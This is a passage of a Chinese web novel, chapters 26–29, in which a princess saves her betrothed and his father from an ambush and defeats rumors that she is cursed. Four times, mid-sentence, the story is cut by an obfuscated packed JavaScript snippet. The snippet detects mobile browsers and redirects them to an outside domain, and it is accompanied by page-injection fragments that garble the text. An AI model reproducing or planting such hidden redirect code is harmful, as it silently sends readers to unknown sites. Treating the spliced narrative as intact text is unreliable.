一旁流萤忽然拽了拽她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040217|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往外头一指,“郡主你瞧,那不是元姑娘吗?怎么有个人鬼鬼祟祟地跟着她!” 封眠定睛一瞧,果真看见了元寄雪纤细的身影,她拐进了街边一条小巷,身后一名男子贼头贼脑地跟了进去。 “停车!”封眠急忙起身下马车,“快跟上去看看。” 虽是光天化日之下,但一个行踪鬼祟的男人跟着一名少女拐进小巷子里,怎么看怎么不安好心啊! 封眠叫上了一名侍卫跟着,尾随着那名尾随元寄雪的男子拐进了小巷子。 狭窄的小巷仅容两人并排通行,青砖地面坑洼不平,越往前走,巷子越是寂静,外头街上的熙攘声尽数淡去,仅听得见紧张的呼吸和脚步声。 眼见着走到了巷子尽头,那男子加快了脚步,似乎想上前对元寄雪动手,封眠一个眼神递过去,侍卫便箭步冲向前,一个擒拿将人拧住胳膊推到墙上摁住。 那人只来得及发出一声短促的尖叫,便嘎巴昏过去了。 前头的元寄雪听见动静回头,大惊失色地跑回来,“阿兄!” 阿兄?! 封眠与那动手的侍卫面面相觑。 侍卫缓缓松开制住元家阿兄的手,无辜地摊了摊手,“属下真的没用力……” 天晓得他只用了二成的力,也没将这人的脑袋往墙上砸,怎的就晕过去了?! 封眠招招手让侍卫躲回自己身后,自己则走向元寄雪,小心翼翼出声问道:“元姑娘,这是你阿兄?” 元寄雪正给脸朝地瘫软在地的元家阿兄把脉,闻言抬头才发现,方才痛击自家阿兄的居然是郡主一行人。 “郡主?您怎么在这儿?” 封眠便将在马车上瞧见有男子鬼鬼祟祟跟踪她,担心她遇险的事说了。 封眠心中纳闷得很,元寄雪为何一个人悄悄来这样一条偏僻的小巷?元家阿兄为何又要偷偷摸摸尾随,一副要干坏事的模样? 元寄雪仿佛看穿了她心底的疑问一般,自顾解释道:“这是我阿兄,单名一个亮字。我来此是……” 她话还未说完,小巷尽头一扇紧闭的木门被自内打开了,一位满头银发的阿婆摸索着门边向外探头,双目无神,空茫地落在巷子里,“元姑娘?是你来了吗?” “何阿婆您慢些。”元寄雪将元亮的手往地上一丢,急忙起身去扶住何阿婆。她有些为难地看向巷子,对何阿婆低声道:“阿婆您在这儿稍等我一下。” 元寄雪走到封眠面前,回望一眼身后的何阿婆,接着之前未完的话音继续道:“我来这里是为了给何阿婆看病,她年纪大了,眼睛看不见,腿脚也不好,不便寻医。家中是不许我在外行医的,阿兄应该是担心我,所以才偷偷跟随。” 她说着向封眠福了一礼,“我还要为何阿婆看诊,能否麻烦郡主帮我将阿兄送回去?” 封眠自是不能拒绝,毕竟还是她的人将元亮打晕在地的。 元寄雪放心地扶着何阿婆回了屋,封眠则示意侍卫将元亮扛回马车,横摆在车夫身后。 离开时,封眠撩开帘络看了一眼巷口,心头还萦绕着淡淡的疑惑。 方才元亮那贼眉鼠眼的样子,实在不像是在担心妹妹。元寄雪除了一开始冲过来给他把脉,后头为了去扶何阿婆,将他的手随便一丢,也不像是真担心这个哥哥。 这兄妹二人,真是奇怪。 27. 第 27 章 马车停到了王府门口,侍卫刚扛起还在昏迷的元亮,正要将人送去隔壁的元府,便听到一声男人响亮的尖叫。 侍卫被唬得一抖,险些将手里的人丢出去,一扭头便看见褚景淇手持折扇惊恐地捂嘴,眼睛眨也不咋地瞪着他肩头的男人。 他正要行礼,便被褚景淇一把拽过,摁到了马车侧面,整个人夹在王府大门与马车中间,懵然地看着褚景淇左右瞧瞧,做贼似的吩咐他:“你站在此地不要走动。” 然后一撩袍子就翻上了马车,独留侍卫一人站在原地,与褚景淇的随从墨松大眼瞪小眼,不知自己是该听郡主的话速去送人,还是听小侯爷的话在此等候。 马车内,封眠正要下车,却见褚景淇忽然一个箭步翻了进来,并一把将她摁回座位。 “九哥?你怎么来了?” 褚景淇严肃地盯着封眠,“你糊涂啊!” 封眠:? 封眠一头雾水:“怎么了?” 褚景淇痛心疾首:“你若嫌弃那百里浔舟,待婚后搬去郡主府,与他谁也不打扰谁,再蓄面首,没谁能说你什么。可你怎么能……” 他说着抬抬下巴向外一指,语带恨铁不成钢之意:“怎么能在婚前,将人就这么打晕了带到王府前头来了?被人瞧见了要如何传你?你真是在宫里头被养傻了!” 封眠这才意识到他在说什么,顿时乐不可支,急得褚景淇拿折扇怕了她肩头两下:“你还笑!北疆民风再开放,女子也逃不脱三从四德温良恭俭,你日后还不知要在北疆生活多少时日,这些流言蜚语道德审判,杀不死你也能让你脱层皮。” “你仔细瞧瞧外头那人,我便是真挑面首,能看得上他吗?” 封眠好笑之余,也因褚景淇这般贴心关切而感到心头一暖。他们往日一年也差不多只能见一面,也说不上几句话,但在这处处陌生的北疆,他却是她最亲近的血亲,还这般真心为她着想,着实让她有些感动。 眼看得他急得要跳脚了,封眠急忙解释了缘由,才终于捋平了褚景淇眉间的褶皱。 “不过,回来的这一路上,他都躺在车辕上,路上的行人都瞧见了,影响大吗?” 刚松了口气的褚景淇眼前一黑:“世人最爱看图说话,外头现在说不得已经传起谣言来了。” 他一眨巴眼,折扇在掌心一拍,一个主意浮现心头。 “你在车上等着别下来,我去送人!” 褚景淇话音未落,人已经窜出马车了,封眠好奇地掀起帘络一角向外张望。 褚景淇带上封眠的侍卫,大张旗鼓地跑到了元府大门口。 他那随从墨松不知从何处借了个锣鼓来,在元府门口咣当咣当敲了两下,引得路过的百姓里三层外三层围了过来。 元府的下人一脸懵地打开门,迎面便被人砸了个自家少爷回来。 褚景淇超大声地喊:“你们少爷在外头晕倒了,我和我家妹子好心,现下将他送回来了。你们自己验一验啊,人可是全须全尾的没毛病啊,回头他要是出点什么事,可别赖上我们!” 墨松敲着锣从围观群众面前晃过去,敲一下念一句:“乡亲邻居们都听清楚了啊,我家小侯爷和郡主好心将晕倒的元少爷送回府上,元少爷全须全尾没受伤,平平安安到家了啊!” 围观群众交头接耳,显然是将话听进去了。 “小侯爷这是不是就叫先发制人啊?”流萤挤在封眠旁边看得目不转睛,惊叹道,“这下便是有人针对您传谣,也盖不住他这会儿闹出来的动静。大家都会觉得是您和小侯爷一起把人弄回来的。” 封眠望着正指导元府小厮检查元亮有无外伤的褚景淇,忍俊不禁:“他这么大吹大擂一通,什么谣言都能散了。” 她这九哥平日里惯好吃喝玩乐,舅舅提起他总要头疼他事事无成,但如今看来,九哥也是很有些长处在身上的。 那头褚景淇已顺利与元府小厮完成了交接,带着人大摇大摆地回到马车前,折扇一挑帘络,冲封眠笑得得意,“小表妹,事儿办好了,请回府吧。” “所以九哥你今日怎会过来?”封眠将褚景淇带回雪月居,为表谢意,亲自给他泡了壶茶。 褚景淇大咧咧往椅子上一瘫,正接过封眠递来的茶喝着,闻言搁下茶盏,从怀中摸出一沓子银票拍到桌上,“听说你要搞个汤饼作坊,我想来与你合股,如何?” “当真?我可是有要求的。”封眠有些心动,褚景淇父亲毕竟掌着朔北路转运使一职,她要想将即食汤饼推作军粮,总是要去谈一番合作的,没想到褚景淇倒是自己送上门来了。 “不用说我也知道,无非是必须得低价供给军需嘛,这个我懂的。你放心,我爹那边我去谈!陛下那边……?”褚景淇还是有些怵自己这位皇伯伯,但这么大的事总得上达天听才行。 “我会在家书中写明。”封眠笑道,待大婚之后,她便会遣人快马加鞭送信回京,“争取早日将作坊开遍边关。” 褚景淇大喜:“我也是这般想的!跑腿的事你放心,都交给九哥我来办!” 封眠乐得省心,拿起桌上的银票,“那我们谈谈契书……” “这个不急,我还有件事要与你说!”褚景淇忽地坐正了,挥挥手屏退左右,一副有大事的样子。 “这是又出什么事了?”今日他这副严肃神色都摆出来两回了。 “你可知道,百里浔舟那小子又出城去了?”褚景淇像是怕王府中隔墙有耳,凑到封眠面前压低了声音问道。 封眠点点头。一早她出门前,便有铺子的小厮过来告知过了。百里浔舟天刚亮,便率几百疾羽营的人出了城门。 “你知道还不着急?”褚景淇瞪大了眼睛,他的五官都生得钝圆,是一种全无攻击力的俊俏,“我听闻是北边的寒鸦关起了烽火,他这一去,万一赶不及回来与你成婚可如何是好?” “可我也不能为了成婚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046841|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便拦着他,不许他去上战场吧?”封眠无奈,那已不能算是无理取闹,可以上升到扰乱军务的高度了。 褚景淇一噎,他纯纯从封眠的利弊得失上出发,脑子里完全缺了那根弦儿,兀自嘀咕着:“这婚事要是不成,百里那儿再出点问题,你可就麻烦了。” “你可知,你那孤星照命,刑克六亲的命理之说,已传到北疆来了?” 封眠一怔:“何处传的?” 她并没有听说这种消息。 褚景淇大咧咧道:“在花楼里。这种地方的消息一时传不到你耳中也正常,但花楼鱼龙混杂,消息传开的速度和范围,可把控不住。” 封眠顿时不解,嘉裕帝自然想得到若是她的命理之说被传出去,于她而言百害而无一利,所以一赐婚,便下了封口令。况且除了宫里的一些人,此番随她一同来北疆的侍从中,应该都不知道这件事。 在北疆传这些消息,又有什么好处? “若是北疆百姓都听了这说法,百里浔舟此番再有什么意外,你有嘴都说不清。你们这桩婚事能不能成,可就悬了。” 对啊,流言发酵到令民心浮动,或许便能阻止她与百里浔舟成婚。 封眠忽然想到狼骨岭那场针对她而来的劫道,难道真的有人想从中破坏这桩婚事? 思绪不过闪念而过,再抬眼时,封眠已然敛了情绪,“我会注意此事的,多谢九哥提醒。” “眼下我们还是先来谈谈契书……” “你自己拟完了遣人送给我就行。”褚景淇已坐不住了,他行程排得紧,在王府耽搁半天要赶不及赴约了,“我要去听新上的折子戏了,再晚就听不见开场了。走了啊!” 他对自家小表妹放心得很,尾音尚拖着,人已经脚底抹油地跑没影了。独留封眠拿着一沓银票坐在原地呆呆地目送他。 摇摇头,封眠将银票收起来,唤来流萤,让她去给陆鸣竹传个话。 “我吗?” 铁匠铺的角落里,陆鸣竹顶着围观铁匠鼓风时被扑上的满脸煤灰,不敢置信地指了指自己,左右看看,见无人注意,才用气音问道:“郡主让我去、去花楼打听消息?” 雾柳点头,“郡主说,她只信得过您了。陆大人您胆大心细,又常有奇遇,或许就能找到传话的源头,一解郡主心中之惑。” 陆鸣竹听得耳热,忙不迭地应下了。 他一定尽己所能,揪出背后传谣之人! 雾柳又笑眯眯地补充道:“郡主说了此事可不必太急,陆大人先紧着手头的事忙活,待郡主与世子殿下大婚之后再查不迟。” 陆鸣竹一怔,这才想起来郡主与世子大婚在即。不知为何,他觉得自己胃里像塞了团湿布一样,沉甸甸湿漉漉还有点难受。 他想着百里浔舟对郡主那不假辞色的样子,觉得自己定是在为郡主不平,郡主这般好的一个姑娘家,怎么偏偏就嫁了世子这样一个不懂得珍惜爱护她的人呢? 28. 第 28 章 绢绘四季花鸟的八角宫灯点亮了王府的夜色,空荡冷清的膳厅内,只有封眠与王妃二人比邻而坐。 王妃自一碗冒着热气的寿面中捞出一半盛到小碗里,再将小碗端到封眠面前,“今日是阿琢的生辰,他不在,这碗长寿面,咱们便给他分了吧。” “那我可有福气啦。”封眠眉眼带笑地接过那一小碗寿面,上面还卧着一颗金黄的蛋。 她执筷夹起几缕雪白的寿面,一口咬下去,满足地眯起了眼,待咽下一口后便忙不迭地夸赞:“好吃!这味道与我从前吃过的长寿面不一样,是不是府上厨子的秘方?” 王妃面上满是温柔的笑意,见封眠吃得开心,她也愈发开怀,“是秘方不错,不过并非厨子的,而是我家中祖传的秘方。” 封眠两手捧着碗,难得有些傻乎乎地看着王妃,“这是您亲手做的呀?” “我未出阁时,每到生辰,母亲便做这样一碗长寿面予我。母亲年幼时,便是外祖母做予她吃。”王妃的眼神飘忽着,含着怀念的笑意,仿佛已经陷入了温暖的回忆中,“后来我嫁人生子,便将这碗寿面做给我的夫君和儿子吃。” “只是他们常常在外征战,过生辰时总不在家中。已经有许多年,这碗面都是我一人吃了。”王妃说着,敛去怅然之色,浅笑着看向封眠,“今日还好有你陪着我。” 王妃与普天之下任何一个妻子与母亲一样,每当丈夫披甲出征,儿子执戈远行,便难免终日悬心,寝食难安。 只是往日里,这些愁绪她从不与外人言,便是对丈夫与儿子也是只字不提,总将千般忧虑、万种牵挂,尽数咽下,挂起温柔的笑颜送他们离家,不愿让他们在外征战时,还惦念着她的情绪。 如今府上多了一个封眠,她总算有了可以倾诉一二的人。看着封眠一边吃寿面,一边专心听她说话,乌黑圆润的眼瞳落在她身上时,她便觉心中有了一处安定的地方,惶惑惴惴的心略为宁静了些许。 听王妃说着她的愁绪,让封眠不由想到了自己的父亲。 她自出生起便被抱到了宫里,直到四岁时才第一次与身为镇国大将军的父亲见面。在得知父亲即将要再次出征时,年幼的她还尚不能完全理解"出征"二字的含义,只知自己又要与父亲分开了,很是哭闹了一通。 后来她知道了将军出征百战死,却没再哭闹过,只每晚躺在床上默默祈祷父亲平安回来,再与她见一面。可后来传来的却是噩耗。 那次之后,她便认为神明不会垂怜凡人的祈愿,天命既定,终究无力回天。 后来才明白,这世间没有有什么既定的命运,都是靠自己拼出一条生路! 不知是不是与王妃的谈话,让封眠感染了些许对百里浔舟的担忧,当晚她又梦见了一段史书所载。 “承平十六年夏初,北夷犯边,定北王率世子驰援寒鸦关。夷人驱边民为饵,诱世子于落鹰峡,断山绝路。定北王闻变,率兵往援,途中遇伏。王知中计,然救子心切,乃单骑陷阵,终为乱箭所殁。” “世子负创浴血,突围堕马,伏尸堆中三日,几近气绝。” 惊醒时,天边方透鱼肚白。 封眠不待呼吸平复便掀开被子下地,连鞋都未来得及穿,语气急促地扬声喊人:“流萤,雾柳!” 候在寝间外侧的流萤和雾柳急急忙忙冲了进来,“郡主?” 雾柳眼尖瞧见封眠赤脚踩在地上,忙去榻边取了睡鞋过来替封眠穿上。 封眠一手扶住流萤,下意识地任雾柳动作着,脑中尚有些混沌,吩咐道:“速速去将陆指挥使请来,快去!” 流萤被她这副急切的模样吓到了,囫囵应了一声,便顺着她推开自己的力道向外拔足奔去。 封眠忽地又扬声:“让他来时,去疾羽营寻一个熟知落鹰峡地形的士卒来!” “奴婢记下了!”流萤的声音遥遥传来,随脚步声远去了。 雾柳起身扶住封眠,柔声安抚:“郡主可是被梦魇着了?您先坐下,奴婢去请侍医来……” 封眠一把抓住雾柳准备抽离的手,摇了摇头,“别惊动任何人……” 她顿了顿,忽又改了主意,“帮我梳妆,我要去见王妃。” 封眠本想瞒着王妃,派鸾仪卫去一趟寒鸦关,但她转念想到连定北王和百里浔舟都会陷落之地,地势险峻必然非她所能想象,而鸾仪卫的作战实力定然不如北疆这些真刀真枪拼杀出来的将士们,若想迅速而顺利地将定北王和百里浔舟救出来,必须有北疆将士的支援。 如今王爷和世子都不在,她也没有那个能力说动将士们。能调动他们的,或许只有王妃了。 如今只希望王妃能够相信她的“做梦”之言。 出乎封眠意料的,无需她多做解释,王妃便答应去军营调兵。 “昨夜我也不知为何心慌气短,一整晚都没睡好。”王妃眼下有着淡淡的青黑之色,唇角苦涩地一抿,“你既梦得这般详细,便宁可信其有。来日若追究擅调兵马之责,我一人承担!” “我定与王妃共进退。”封眠握紧了王妃的手,目光坚定道,“还请王妃先将寒鸦关舆图取来,我想试着推演一番王爷与世子遇险的地方。” 她只知百里浔舟是在落鹰峡被困,王爷又是在何处被设伏? 日头攀升,封眠压下心中焦躁,将案上舆图展开,寒鸦关一带的山川地势尽数呈现于眼前。 她执笔蘸朱砂,先在落鹰峡处重重一圈,如一滴血落在了险峻的山势之间。 两山夹峙,峭壁如削,一旦归路被断,便是插翅难飞。 能冒险入内救援的,唯有东北侧的沉山谷与西面的断云涧两条窄路。 王爷和世子在寒鸦关时应该就已兵分两路,世子刚被困,王爷便即刻驰援,两军相距定然不远…… “这附近能藏下上百名伏兵的有哪几处?”封眠看向立在案边的一名穿疾羽营甲胄的士卒。 巧的是,陆指挥使喊来的这位熟知落鹰峡地形的士卒正是王二。 王二望着舆图细细回想,接过封眠悬于图纸之上的笔,陡然在断云涧旁的山坳处画了一个圈。 “此地山势回环,入口隐蔽,若北夷设伏,定会选在此处。” “好。那你们兵分两路,一路从沉山谷去救世子,一路往断云涧去寻王爷。务必将他们平安带回。” “是,郡主!” 王二应得干脆,他心眼直,见王妃在侧,根本想不到疑惑一下郡主是如何知道王爷和世子遇险的,满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054091|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心皆是担忧,只想着“那必须赶快将王爷和世子救回来啊!”。 鸾仪卫的陆指挥使却是久居盛京,心眼子颇多,他都快被疑惑淹没了。 可一来定北军被称为“北疆铁壁”,他从未想过自己有朝一日竟能担得起驰援定北军的职责,二来若当真顺利施救,论功行赏,怕是足够换下半辈子的荣华富贵了。 他的野心和胆气不足以让他投身定北军,将性命压在刀尖上换取军功,但搏一搏便能享半生无虞,这番机遇可不是什么时候都能碰上的,他自然愿赌上一把,冒险一试! 待王妃离府去安排调兵事宜,封眠才终于算是冷静了些许。 她坐于满地日光之中,仍觉周身发冷,脑海中翻涌的思绪争先恐后地挤出来。 她无意识地用指尖轻叩桌面,耳边听着清脆的敲击声,从思绪中抽出最重要的几条。 若定北王当真死于此役,百里浔舟便应承袭定北王的爵位。可为何她在盛京做的梦中,他仍是定北王世子?爵位迟迟未袭,是朝中有人阻挠,还是……另有隐情? 会不会跟他日后行谋逆之举有关? 还有花楼中的流言,将她“孤星照命,刑克六亲”的批命四处传播,若定北王战死,世子重伤,只怕不日便会有人借此大做文章,将这“克夫克父”的罪名扣在她头上。 她闭了闭眼,压下心头烦躁,转而去见了陆鸣竹。 去花楼一事,恐怕要提前了。 彼时落鹰岭,高悬的日头自落鹰岭嶙峋的山脊处折射出耀目的光。 百里浔舟手执长枪,勒马立于高处,望见数十名衣衫褴褛的边民被乌赫族打扮的北夷兵卒驱赶着入谷。 前哨探子小跑到百里浔舟面前:“报,谷中敌兵不足百人,都是轻骑,未着甲胄。” 百里浔舟无意识地摩挲着长枪枪身。 最初寒鸦关也只报了不到千余人偷袭,他与父亲本打算速战速决,回府陪母亲吃寿面,却被迫分了兵力。他已觉不对,如今见此情景,心中疑虑更深。 但眼见老幼妇孺哭嚎着被逼入绝壁,他终究还是抬手下令:“赵参将率半数人马留守谷口,其余随我救人。” “属下领命!” 一行铁骑如利剑般冲入峡谷,插入驱赶边民的乌赫族兵卒之中的刹那,异变陡生。 两侧山崖突然竖起黑压压的旌旗,滚木礌石砸落,截断了归路。 百里浔舟猛拽缰绳,战马人立而起,长枪挑飞一名敌兵,护住身旁幼童。 “结阵,先护百姓!” 铁骑闻令而动,瞬息间结成圆阵,将惊惶的边民围护其中。 金铁交鸣之声顿时不绝于耳。 寒风凛冽的峡谷深处,血色浸透了百里浔舟的战袍,天边残阳投下悲凉惨烈的一瞥。 飞溅的血糊在他的眼皮上,将面前的一切都染上了深重的血色。 意识混沌之际,他脑海中不知怎的浮现出封眠的音容。 ……不能死在这里。 他咬紧牙关,强撑着一口气,握紧长枪。 他们之间的婚事并未取消,婚期在即,他总不能将郡主一个人丢在婚礼上,被满堂宾客讥诮议论。 他不想再对郡主说抱歉了。 29. 第 29 章 暮色四合,瓦舍中正是最热闹的时候。 今日无戏,说书人占了一楼中央的戏台,要讲世子爷十四岁那年,在北夷阿尔纳部兵临城下之际,孤身率三千轻骑大破阿尔纳部两万大军的故事。 虽然云中郡的百姓都已会背这桩往事了,瓦舍内仍是座无虚席,众人纷纷携家带口地来再次重温世子爷的成名一战,找不到座位便站着,挨挨挤挤地将戏台围了个水泄不通。 醒木方拍,便听“砰”一声巨响,有人跌跌撞撞地闯进瓦舍,一头撞在了门板上。 众人先是一愣,接着哄然笑起来,离得近的去将撞得晕头转向的人扶起来,“喝多了吧?” 说书人玩笑道:“便是急着听咱们世子爷大杀四方,也不必先将自己‘献祭’了去呀!” 却见那磕得脑门儿红肿的男子握着身旁人的手,颤颤巍巍站直,眼眶通红泪如雨下,哽咽着报道:“王爷、王爷战死了!世子爷重伤,正在扶棺回来的路上!” 空气忽地一窒,众人脸上未落的笑意僵住,看着男子的目光仿佛在看一出荒诞的闹剧。 有人当先拍桌而起,粗陶碗内溅出的浊酒洒了满身,怒骂道:“放你娘的狗屁!” 不愿相信的声音迭起层出。 “胡说八道!定北王可是咱们北疆的天,天怎么能塌呢!” “世子爷十四岁起就再没有败绩,你编瞎话之前也不去查查?” 然而男子丝毫不在意众人的反驳谩骂,兀自蜷身大哭了起来。 哭声沉甸甸地压在瓦舍上空,顿如阴云凌空一般,整个瓦舍的气氛都为之一悲。 众人在这哀哀戚戚的哭声之中逐渐心生慌乱,这时名叫阿好的少年从外头闯了进来,他脸色惨白,大口地喘着气,冷汗涔涔自额角滑落,不等气喘匀便急道:“我方才在城门口,怎么好像听人说,王爷战死了,世子也重伤……” 他仓皇的目扫过瓦舍内众人的面庞,每一个人都呆若木鸡,一切声响都被逐渐弥漫开的悲哀气氛所吞噬。 有那眼眶浅的,终于忍不住呜呜咽咽地落下泪来,压抑的啜泣声连成一片。 在有人悲号出声时,二楼半卷的竹帘被人拽落,喝得满脸通红的中年男子砸了手中的酒坛子,浑浊的双目中射出仇恨的光,嚷嚷道:“是郡主!都是那个女人的错!” “我昨儿在花楼吃酒,听见他们说郡主是‘孤星照命,刑克六亲’的命,这才被圣上一道圣旨发配到了北疆来。”男子摇摇晃晃得已站不稳,双手激动地拍着栏杆,言辞切切,“我先前还不信,如今想来,定是她克碍了王爷和世子爷!定是她!” 窃窃私语顿时如蚊鸣般嗡嗡响起。 “说得有理啊,否则为什么这么多年王爷和世子都顺顺当当的,她一来就出事了?” “还是赶在婚期前一天出事,这是天意!” 人群中的周家娘子神色犹豫,她亦红着眼眶,为听闻的噩耗而悲伤难以自持,却也不想将一切怪罪在郡主身上,“郡主从未做过坏事,还为将士们很是谋了些福祉,王爷和世子爷出事,你们不去怪那些动手的北夷人,为何要怪在一个年轻的小女娘身上?” 然而质疑愤恨的种子已经播下,又有人着意挑拨,愿意相信是郡主命硬克亲的人远远多于不信的人,这一消息转瞬便传遍了云中郡。 瓦舍一角的赌桌前,设下赌局的庄家将“世子与郡主婚事能成”处下押的赌注,尽数挪到了“不成”那一边,“这婚事,绝不能成!” “王妃您应立即出面,叫停这桩婚事呀!” 王府内,吴管事在王妃面前使劲儿上眼药。他在王府勤勤恳恳多年,才提拔了一个自家人做买办,转眼就叫郡主给赶走了。虽说是吴买办自己不争气,但他还是怨恼郡主当众戳穿吴买办做下的蠢事,让他跟着脸上无光,心底对郡主颇有些不满。 王妃对他置之不理,满心惦记着封眠此时的心情会不会受影响。她自始至终都相信封眠,她相信她们派出去的兵力定能将王爷和阿琢救回来,谣言定会被破除,但她不知道他们何时会回来。 作为王妃,她自然不能取消明日的婚礼,否则百姓便会认定她也相信了命理之说。可若明日阿琢他们不能回来,群情激愤的百姓会不会对封眠做出不当之事? 思来想去,王妃终是坐不住了,急急起身去吩咐府上的护卫,让他们翌日早些随自己去郡主府迎亲。 不管阿琢回不回得来,郡主得平安接回来!阿琢既不在,她这个母亲便代他走一趟,想来百姓们便是再激愤,也不会对王妃动手。 翌日申时,吉时到,迎亲队伍未至。 留守在郡主身边的十几名鸾仪卫,持剑护卫着朱漆描金喜轿出了郡主府,方行上主街,便被四面八方涌来的百姓们拦住了。 他们忙碌了一夜赶制孝服,将主街挂上素白麻布,商铺檐下的红灯笼皆被换成了白纸糊的灯笼。天地一片白之中,唯有喜轿是刺目的红。 百姓们皆身披缟素,满目通红地瞪着喜轿。 纸钱飘飘扬扬地洒向送亲队伍,有些黏在轿顶描金的丹凤朝阳的图样上,显得格外晦气不洁。 “滚回你的盛京去!” “别来害我们世子!” 百姓们纷纷叱骂着,其间夹杂着呜咽哭喊。 鸾仪卫们为难地彼此对视一眼,他们早得了吩咐,无论遇到什么情况,都不得把剑对准百姓,是以只能尽力将喜轿围护住。 幸而郡主似乎早预料到了今日的情形,并未将嫁妆尽数搬离王府,送亲队伍只有八抬充个数,他们几个人尚护得过来。 “她害死了王爷,竟全无悔改之意!连喜轿都不出!王妃不好出面,我们一定要将她赶出去!快上,将那喜轿抢了!” 有人隐在人群中振臂一呼,激愤的百姓顿时冲上去拨开不敢拿剑对着百姓的鸾仪卫,试图抢走喜轿。 队尾的两名鸾仪卫飞快循声锁定了扬声挑拨的那道身影,两人对视一眼,悄无声息地追着那道没入人群的身影而去。 剩余的鸾仪卫被围拢的百姓步步逼退,为难得满头大汗。 “都住手!” 伴着一声轻叱,一支羽箭破空而来,钉在喜轿边沿,阻了摸到喜轿一侧的百姓。 百里浔舟单骑踏尘而至,他一身染满血色的轻铠,身背长枪,右手还保持着张弓的姿势。洒落的日光铺在他身上,描摹出天神降临一般的金边。 “世子?是世子殿下!他好像没、没重伤啊……” 百姓们欣喜若狂之余,也有些惊疑不定,世子这策马奔腾的精神头,实在不像是重伤的样子啊。 百里浔舟扬了扬眉,“看本世子无碍,你们很失望?” 百姓们忙将头摇出残影,他们巴不得世子平平安安,一事无虞。 只是……“王爷呢?王爷可、可平安啊?” 他们翘首往百里浔舟身后看,却什么人影也没瞧见。 “父王无事。此番多亏郡主派出鸾仪卫相救,否则我与父王皆是凶多吉少。”百里浔舟特意隐下了母亲私自调动守军的事,朗声道“父王如今正在王府等着我携新妇相拜。诸位,让个道吧。” 百姓们忙不迭地向两侧分开,尴尬地把头上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057884|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白花摘了下来。世子和王爷无事,他们这般打扮却是晦气了。 众人同时不安地偷偷觑向喜轿,嘀咕着:“竟是郡主救了世子?我们岂不是错怪郡主了?” “咱们在人家大婚之日,弄得满街缟素,还洒纸钱……” “哎呀呀,完了完了!这可如何是好!” 百里浔舟策马到喜轿边,两侧狼狈的鸾仪卫劫后余生般向他行礼,他们从没有哪一刻这么高兴看见这位世子殿下。 百里浔舟微微俯身,隔着喜轿与封眠说话,“郡主莫怕,已无事了。” 轿内无声,百里浔舟正困惑着,又凑近了两分,“郡主?” 这时忽听一旁的百姓中有人十分刻意又想装不经意地大声跟周围的百姓解说—— “你们只听到了人家说郡主是刑克六亲之命,却没听全啊!后头还有一半呢,说咱们世子爷是郡主的‘解厄星’,郡主与世子乃是天作之合,凑在一处便能逢凶化吉,福荫绵长!” 又有人附和道,“郡主也是个可怜人,刚出生便没了母亲,父亲又早丧,但与咱们世子在一起,她就能化危为安。如今不就是她救了世子一命!咱们都应该谢过郡主!” “还应向郡主道歉!”阿好忽然朗声道,当先跪了下去,“都怪我听信了传闻,不去证实一番便信以为真,害得大家跟着一起将此事当了真,误会了郡主,都是我的不对,请郡主责罚!” 周围百姓跟着哗啦啦跪了一片,各认各的不对,最后落在一句“请郡主责罚!”上。 喜轿内仍是没有动静,百里浔舟奇怪地望向轿帘,一名鸾仪卫上前挡住了他的视线,清了清嗓子,道:“乌龙一场,郡主说了,此事乃有心人挑拨,怪不得诸位。再耽误下去,吉时就要过了,不若先启程吧!” 众人听了先是一惊,左右瞧瞧谁是那有心之人,接着又是一惊,忙不迭跳起来,四散去撤了两旁街上的白灯笼和缠挂的素白麻布。 “世子,咱们快走吧。” 在鸾仪卫的催促中,百里浔舟骑马行在送亲队伍最前方,向王府行去。 他怕是古往今来第一个穿一身染血轻铠来迎亲的新郎。 喜轿一路往前,百姓也一路拆白幡,就这样一路到了王府门口。 百里浔舟正欲下马去接新娘下轿,视线滑过王府门口,猛地呆住。 只见王妃牵着一身吉服的新娘子就站在王府门口,正笑盈盈望着他。 百里浔舟:? 百里浔舟往身后喜轿看了一眼,这才意识到之前感觉到的奇怪之处是喜轿内根本空无一人。 